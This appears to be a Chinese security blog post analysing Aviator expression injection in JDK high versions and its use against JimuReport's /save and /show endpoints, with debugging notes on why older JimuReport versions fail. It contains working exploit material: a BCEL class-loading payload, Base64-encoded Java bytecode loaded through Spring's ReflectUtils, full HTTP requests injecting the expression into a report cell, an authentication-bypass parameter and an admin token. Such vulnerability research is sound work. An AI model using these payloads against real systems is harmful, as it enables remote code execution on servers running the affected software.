结合 Jimureport 的某个漏洞披露看 Aviator 表达式注入
wptr33 2025-01-21 21:57 47 浏览
JDK 高版本的 Aviator 表达式注入
Aviator 表达式注入代码示例见 JavaRce 项目 ,在之前 aviatorscript 的漏洞披露给出了了如下形式的 payload,利用 bcel 来加载字节码
'a'+(c=Class.forName(\"$BCEL$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );
提取出其中的 Class.forName() 调试一下代码
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("Class.forName('java.lang.String')");
通过 com.googlecode.aviator.RuntimeFunctionDelegator#getFunc() 动态调用 Aviator 中定义的方法
而换成全限定类名后,执行 getFunc() 方法会报错 Function not found: java.lang.Class.forName
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("java.lang.Class.forName('java.lang.String')");
调试到 com.googlecode.aviator.utils.Env#resolveClassSymbol(java.lang.String, boolean) 方法,这个方法主要是用于将类名解析为对应的 Java 类对象。
这里的话有两个值得看的地方:
- 从这个代码的逻辑来看,如果包含 . 则直接调用 classForName(name) 方法来获取类对象,我们构造的是全限定类名,为什么传入的 name 是 java
- 第二个条件逻辑,因为不存在类名时会假设该类隶属于 java.lang 包下,可以解释为什么直接用 Class.forName() 可以执行。
第一个问题定位到 com.googlecode.aviator.runtime.type.AviatorJavaType#getProperty() 方法,因为包含 . 所以被分割为数组,然后在 com.googlecode.aviator.utils.Reflector#fastGetProperty() 方法遍历逐个解析
java.lang 包下的类有限,所以还需要寻求突破。我们看到还有俩逻辑,用于引入包、类。这个解答第二个问题的疑问。
// from imported packages
clazz = resolveFromImportedPackages(name);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
// from imported classes
clazz = resolveFromImportedSymbols(name, clazz);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
以包名为例,是读取的 this.importedPackages 对象,索性用的比较少,可以很轻易的跟到 com.googlecode.aviator.runtime.function.internal.UseFunction#addSym() 方法。
* 号给了很大的提示,然后就是翻官方文档了,找到引用 Java 类的语法 https://www.yuque.com/boyan-avfmj/aviatorscript/vk0ubs
use java.util.Date;
let d = new Date();
p(type(d));
p(d);
与通过 JavaMethodReflectionFunctionMissing 调用 Java 方法(基于反射)不同,使用 use 只能调用 public static 方法 ,对于 spring 框架可以用 org.springframework.cglib.core.ReflectUtils 来加载字节码,关于这个的利用可以看上一篇分析
Link: JDK 17+ FreeMarker SSTI:从 CVE-2023-4450 复现引出 MethodHandle 句柄、named module 机制研究
所以最终按其语法可得
JDK 8
use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());
JDK17 ,Aviator 中 null 为 nil
use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;ReflectUtils.defineClass('org.springframework.expression.Test', Base64Utils.decodeFromString('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='), ClassLoader.getSystemClassLoader(), nil, Class.forName('org.springframework.expression.ExpressionParser'));
Jimureport sink
漏洞位于 /save 和 /show 这两个接口,两个包间通过 excel_config_id 关联
函数名有点抽象就不慢慢截图了,两个接口对应函数
org.jeecg.modules.jmreport.desreport.service.a.e#saveReport()
org.jeecg.modules.jmreport.desreport.service.a.e#show()
在执行 /show 时,跟进到 org.jeecg.modules.jmreport.desreport.express.a#c() 函数,对于传入的格式有要求。声明了解析的字段为 text,并且内容得通过 =() 包含
至于 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= 则是用于 jeeboot 的权限绕过
payload:
POST /jmreport/save HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"loopBlockList": [],
"area": false,
"printElWidth": 718,
"excel_config_id": "53c82a76f837d5661dceec7d93afep",
"printElHeight": 1047,
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('com.ppp.Exec', Base64Utils.decodeFromString('yv66vgAAADQANAoADAAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQIACUIACYHACcHACgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADkxjb20vcHBwL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJwcAJAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADQAOBwApDAAqACsBAARFeGVjBwAsDAAtAC4HAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHABAAxjb20vcHBwL0V4ZWMBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAsADAAAAAAAAgABAA0ADgABAA8AAAB2AAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAQAFQAYAAgAAwAQAAAAGgAGAAAABwAEAAkADAAKABUADAAYAAsAGQANABEAAAAMAAEAAAAaABIAEwAAABQAAAAQAAL/ABgAAQcAFQABBwAWAAAIABcADgABAA8AAABbAAIAAQAAABayAAISCbYABLgABRIKtgAHV6cABEuxAAEAAAARABQACAADABAAAAAWAAUAAAARAAgAEgARABQAFAATABUAFQARAAAAAgAAABQAAAAHAAJUBwAWAAABABgAAAACABk='), ClassLoader.getSystemClassLoader());)",
"style": 0
}
},
"height": 25
},
"len": 96,
"-1": {
"cells": {
"-1": {
"text": "${gongsi.id}"
}
},
"isDrag": true
}
},
"dbexps": [],
"toolPrintSizeObj": {
"printType": "A4",
"widthPx": 718,
"heightPx": 1047
},
"dicts": [],
"freeze": "A1",
"dataRectWidth": 701,
"background": false,
"name": "sheet1",
"autofilter": {},
"styles": [
{
"align": "center"
}
],
"validations": [],
"cols": {
"4": {
"width": 95
},
"len": 50
},
"merges": [
"E4:F4",
"B4:B5",
"C4:C5",
"D4:D5",
"G4:G5",
"H4:H5",
"I4:I5",
"D1:G1",
"H3:I3"
]
}
POST /jmreport/show HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTQ2Mjk0NjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.--r2FRXzk7Nu2_Zrbcdn_0sN3c0zKhKeei2yewFTLx0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"id": "53c82a76f837d5661dceec7d93afep"
}
jimureport 低版本为什么无法解析
用最新版的 1.7.8 可以复现,而用到 1.6.0 时发现调用的是 com.googlecode.aviator.runtime.function.TraceFunction#call(java.util.Map<java.lang.String,java.lang.Object>, com.googlecode.aviator.runtime.type.AviatorObject, com.googlecode.aviator.runtime.type.AviatorObject) 这个方法,并且在执行 com.googlecode.aviator.runtime.function.TraceFunction#traceArgs() 时报错。
回到 com.googlecode.aviator.ClassExpression#executeDirectly() 方法看看在调用 com.googlecode.aviator.ClassExpression#execute0 前发生了什么。
Avaitor 的底层也用的是 ASM 将表达式转换为可执行的字节码,这里没法步进调试无疑是上了一点难度。不过没关系,将依赖单独取出 payload 可用,直觉告诉我问题出在配置项,于是找了一下代码定位到 com.googlecode.aviator.Options#TRACE_EVAL 这个配置。关于 TRACE_EVAL 的 ASM 逻辑位于 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName
PS. 关于 ASM 的更多操作可以在 com.googlecode.aviator.AviatorEvaluatorInstance#innerCompile() 方法断点,之后可以跟到 com.googlecode.aviator.code.OptimizeCodeGenerator#callASM() 调用 ASM 的解析
验证猜想
先验证下猜想在 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName() 断点修改该配置 this.instance.getOptionValue(Options.TRACE_EVAL).bool = false
除此之外在 com.googlecode.aviator.runtime.type.AviatorJavaType#getValueFromEnv() 解析 Base64Utils.decodeFromString 方法时,RuntimeUtils.getInstance(env).getOptionValue(Options.ENABLE_PROPERTY_SYNTAX_SUGAR).bool 为 flase ,不进入 getProperty 逻辑,也断点修改一下。
构造这俩条件,弹出计算器,验证猜想
- TRACE_EVAL 为 false
- ENABLE_PROPERTY_SYNTAX_SUGAR 为 true
哪里的变动?
然后就是看哪里加的这个配置?com.googlecode.aviator.Options#isValidValue() 对 TRACE_EVAL 赋值为 true
最终问题出在 org.jeecg.modules.jmreport.desreport.express.ExpressUtil 的 static 方法块中,低版本中将该值设为 true
高版本为 false
相关推荐
- MySQL进阶五之自动读写分离mysql-proxy
-
自动读写分离目前,大量现网用户的业务场景中存在读多写少、业务负载无法预测等情况,在有大量读请求的应用场景下,单个实例可能无法承受读取压力,甚至会对业务产生影响。为了实现读取能力的弹性扩展,分担数据库压...
- 3分钟短文 | Laravel SQL筛选两个日期之间的记录,怎么写?
-
引言今天说一个细分的需求,在模型中,或者使用laravel提供的EloquentORM功能,构造查询语句时,返回位于两个指定的日期之间的条目。应该怎么写?本文通过几个例子,为大家梳理一下。学习时...
- 一文由浅入深带你完全掌握MySQL的锁机制原理与应用
-
本文将跟大家聊聊InnoDB的锁。本文比较长,包括一条SQL是如何加锁的,一些加锁规则、如何分析和解决死锁问题等内容,建议耐心读完,肯定对大家有帮助的。为什么需要加锁呢?...
- 验证Mysql中联合索引的最左匹配原则
-
后端面试中一定是必问mysql的,在以往的面试中好几个面试官都反馈我Mysql基础不行,今天来着重复习一下自己的弱点知识。在Mysql调优中索引优化又是非常重要的方法,不管公司的大小只要后端项目中用到...
- MySQL索引解析(联合索引/最左前缀/覆盖索引/索引下推)
-
目录1.索引基础...
- 你会看 MySQL 的执行计划(EXPLAIN)吗?
-
SQL执行太慢怎么办?我们通常会使用EXPLAIN命令来查看SQL的执行计划,然后根据执行计划找出问题所在并进行优化。用法简介...
- MySQL 从入门到精通(四)之索引结构
-
索引概述索引(index),是帮助MySQL高效获取数据的数据结构(有序),在数据之外,数据库系统还维护者满足特定查询算法的数据结构,这些数据结构以某种方式引用(指向)数据,这样就可以在这些数据结构...
- mysql总结——面试中最常问到的知识点
-
mysql作为开源数据库中的榜一大哥,一直是面试官们考察的重中之重。今天,我们来总结一下mysql的知识点,供大家复习参照,看完这些知识点,再加上一些边角细节,基本上能够应付大多mysql相关面试了(...
- mysql总结——面试中最常问到的知识点(2)
-
首先我们回顾一下上篇内容,主要复习了索引,事务,锁,以及SQL优化的工具。本篇文章接着写后面的内容。性能优化索引优化,SQL中索引的相关优化主要有以下几个方面:最好是全匹配。如果是联合索引的话,遵循最...
- MySQL基础全知全解!超详细无废话!轻松上手~
-
本期内容提醒:全篇2300+字,篇幅较长,可搭配饭菜一同“食”用,全篇无废话(除了这句),干货满满,可收藏供后期反复观看。注:MySQL中语法不区分大小写,本篇中...
- 深入剖析 MySQL 中的锁机制原理_mysql 锁详解
-
在互联网软件开发领域,MySQL作为一款广泛应用的关系型数据库管理系统,其锁机制在保障数据一致性和实现并发控制方面扮演着举足轻重的角色。对于互联网软件开发人员而言,深入理解MySQL的锁机制原理...
- Java 与 MySQL 性能优化:MySQL分区表设计与性能优化全解析
-
引言在数据库管理领域,随着数据量的不断增长,如何高效地管理和操作数据成为了一个关键问题。MySQL分区表作为一种有效的数据管理技术,能够将大型表划分为多个更小、更易管理的分区,从而提升数据库的性能和可...
- MySQL基础篇:DQL数据查询操作_mysql 查
-
一、基础查询DQL基础查询语法SELECT字段列表FROM表名列表WHERE条件列表GROUPBY分组字段列表HAVING分组后条件列表ORDERBY排序字段列表LIMIT...
- MySql:索引的基本使用_mysql索引的使用和原理
-
一、索引基础概念1.什么是索引?索引是数据库表的特殊数据结构(通常是B+树),用于...
- 一周热门
-
-
C# 13 和 .NET 9 全知道 :13 使用 ASP.NET Core 构建网站 (1)
-
程序员的开源月刊《HelloGitHub》第 71 期
-
详细介绍一下Redis的Watch机制,可以利用Watch机制来做什么?
-
假如有100W个用户抢一张票,除了负载均衡办法,怎么支持高并发?
-
Java面试必考问题:什么是乐观锁与悲观锁
-
如何将AI助手接入微信(打开ai手机助手)
-
SparkSQL——DataFrame的创建与使用
-
redission YYDS spring boot redission 使用
-
一文带你了解Redis与Memcached? redis与memcached的区别
-
如何利用Redis进行事务处理呢? 如何利用redis进行事务处理呢英文
-
- 最近发表
- 标签列表
-
- git pull (33)
- git fetch (35)
- mysql insert (35)
- mysql distinct (37)
- concat_ws (36)
- java continue (36)
- jenkins官网 (37)
- mysql 子查询 (37)
- python元组 (33)
- mybatis 分页 (35)
- vba split (37)
- redis watch (34)
- python list sort (37)
- nvarchar2 (34)
- mysql not null (36)
- hmset (35)
- python telnet (35)
- python readlines() 方法 (36)
- munmap (35)
- docker network create (35)
- redis 集合 (37)
- python sftp (37)
- setpriority (34)
- c语言 switch (34)
- git commit (34)